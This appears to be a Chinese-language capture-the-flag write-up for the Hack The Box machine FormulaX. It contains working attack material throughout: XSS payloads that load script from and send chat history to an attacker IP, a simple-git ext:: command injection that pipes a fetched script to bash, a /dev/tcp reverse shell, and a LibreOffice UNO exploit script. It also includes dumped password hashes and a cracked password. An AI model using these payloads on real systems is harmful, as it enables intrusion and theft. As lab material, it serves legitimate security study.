基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nmap -sC -sV 10.10.11.6
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-11 13:14 CST
Nmap scan report for 10.10.11.6
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 5f:b2:cd:54:e4:47:d1:0e:9e:81:35:92:3c:d6:a3:cb (ECDSA)
|_ 256 b9:f0:0d:dc:05:7b:fa:fb:91:e6:d0:b4:59:e6:db:88 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-cors: GET POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 120.97 seconds

80

随意注册登录,一个Chatbot:

Chatbot

测试chat回复说功能不可用,使用给出的help可以看到history,使用history可以看到之前的消息 :

chat.js

直接查看代码也可以看到相关路由请求信息:

xss

实际上是在contact那里xss,没有任何过滤,任意参数都可以:

1
<img src=x onerror="with(top)body.appendChild (createElement('script')).src='http://10.10.16.5/test'">

messages

现在有xss,前面看到history可以看历史消息,那就尝试去获取bot的历史消息,直接基于前面看到的chat.js的代码做修改,因为用到了axios和socket,所以我们的xss也导入相应代码:

1
{"first_name":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='/scripts/axios.min.js'\">","last_name":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='/socket.io/socket.io.js'\">","message":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='http://10.10.16.5/test.js'\">"}

得到的历史消息中得到了一个子域名:

1
2
3
4
Greetings!. How can i help you today ?. You can type help to see some buildin commands
Hello, I am Admin.Testing the Chat Application
Write a script for dev-git-auto-update.chatbot.htb to work properly
Write a script to automate the auto-update

test.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let value;
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});

const typing_chat_2 = () => {
value = "history"
if (value) {
// sending the messages to the server
socket.emit('client_message', value)
Show_messages_on_screen_of_Client(value);
// here we will do out socket things..
document.getElementById('user_message').value = ""
}
else {
alert("Cannot send Empty Messages");
}
}

socket.on('message', (my_message) => {

//console.log("Received From Server: " + my_message)
fetch("http://10.10.16.5/?" + my_message );

})

typing_chat_2()

dev-git-auto-update

历史消息中得到的子域名添加hosts后访问:

1
10.10.11.6 dev-git-auto-update.chatbot.htb

可以看到是simple-git v3.14

simple-git

搜索可以发现相关漏洞:

页面上就一个功能是clone destinationUrl参数,简单修改命令测试:

1
{"destinationUrl":"ext::sh -c curl% http://10.10.16.5/test"}

shell

那就可以直接打shell了:

1
2
3
4
{"destinationUrl":"ext::sh -c curl% http://10.10.16.5/shell.sh|bash >&2"}

# shell.sh
/bin/bash -i >& /dev/tcp/10.10.16.5/4444 0>&1

打到www-data:

信息

mongo

常规翻文件,得到mongo密码

1
2
3
4
5
6
cat /var/www/app/.env

PORT = 8082
URL_DATABASE="mongodb://localhost:27017"
SECRET=ThisIsTheN0deSecret
ADMIN_EMAIL="admin@chatbot.htb"

但实际上直接在shell里本地运行mongo不需要密码,其中得到几条hash:

1
2
3
4
5
6
7
8
mongo
> show databases;
> use testing;
> show collections;
> db.users.find()

{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTAxMzc1Mjd9.iAzZgN2b4LUvHSQadqYlRhYGl8-pF_29jEuPDelkok8", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }

可以破解出frank_dorky密码:

1
2
3
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

manchesterunited

user flag

frank_dorky用户ssh登录:

librenms

本地3000端口,转发出来查看:

1
$ ssh frank_dorky@10.10.11.6 -L 3000:127.0.0.1:3000

是librenms,需要登录:

已有的frank_dorky账号密码可以登录:

rce to kai_relay

预期应该是用过这个来打:

非预期 kai_relay

/opt/librenms目录虽然frank_dorky用户不能直接查看,但可以直接去读里面的文件,虽然env文件不是默认的,但从其他php文件中可以得到env文件路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
frank_dorky@formulax:~$ cat /opt/librenms/bootstrap/app.php | grep env
$app->loadEnvironmentFrom('.custom.env');
frank_dorky@formulax:~$ cat /opt/librenms/.custom.env
APP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk=

DB_HOST=localhost
DB_DATABASE=librenms
DB_USERNAME=kai_relay
DB_PASSWORD=mychemicalformulaX

#APP_URL=
NODE_ID=648b260eb18d2
VAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg
VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQ

这样就得到kai_relay密码了,直接切过去即可

非预期 其他

python有抓包权限

1
cap_net_raw=eip

直接监听本地端口获取管理员cookie然后登录

也可以直接用librenms本身的文件添加管理员:

1
2
./adduser.php <username> <pwd> <email> 10
./adduser.php miao1 123456 miao1@miao.com 10

然后管理员可以任意修改设置

  • 进入设置并更改二进制位置,这会给你 shell 作为 librenms,然后你在环境变量中找到 kai_relay 的信用
  • 将所有二进制文件更改为您的 rev shell,然后尝试添加设备或其他东西,以便它运行二进制文件
  • http://127.0.0.1:3000/settings/external/binaries

管理员也可以修改alert模板执行php代码来获取shell

提权信息

kai_relay可以sudo运行一个office.sh,看内容就是开一个端口接受输入进行处理:

搜索可以发现:

提权 & root flag

所以就是开启服务后打exp:

1
2
sudo /usr/bin/office.sh
python3 exp.py --host 127.0.0.1 --port 2002

两个终端操作,一个终端开服务,另一个打exp:

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import uno
from com.sun.star.system import XSystemShellExecute
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--host', help='host to connect to', dest='host', required=True)
parser.add_argument('--port', help='port to connect to', dest='port', required=True)
args = parser.parse_args()

# Define the UNO component
localContext = uno.getComponentContext()

# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext
)

# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(
"uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host, args.port)
)

# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("/tmp/miao/shell.sh", '', 1)

shadow

1
2
3
4
5
root:$y$j9T$/lSSkn2dpkUFYRVCTUSn5.$XhIP3.CfCv2pusU6c4TPVgRsCedfulJNgnBbPfWXLO8:19752:0:99999:7:::
librenms:$y$j9T$a6ohQusJVAmNjlckw53IW.$nU2wJkIRb3bFK9apCdGWMG3ZMcBAujBdpQXl2rUbh53:19523::::::
tcpdump:*:19524:0:99999:7:::
kai_relay:$y$j9T$tOkGbctwaNrLGuhDtJz/k0$1UiJF6TE5k9sh0uEGM3s7Emp/TEAQNmQXfaisdNnuH2:19607:0:99999:7:::
frank_dorky:$y$j9T$lhs.tsQJeDgpGhN7IBjaa1$eND3/hQVaoF27lyz28/TGQTsCcEnHO0eoOXwt4LCME.:19607:0:99999:7:::

参考资料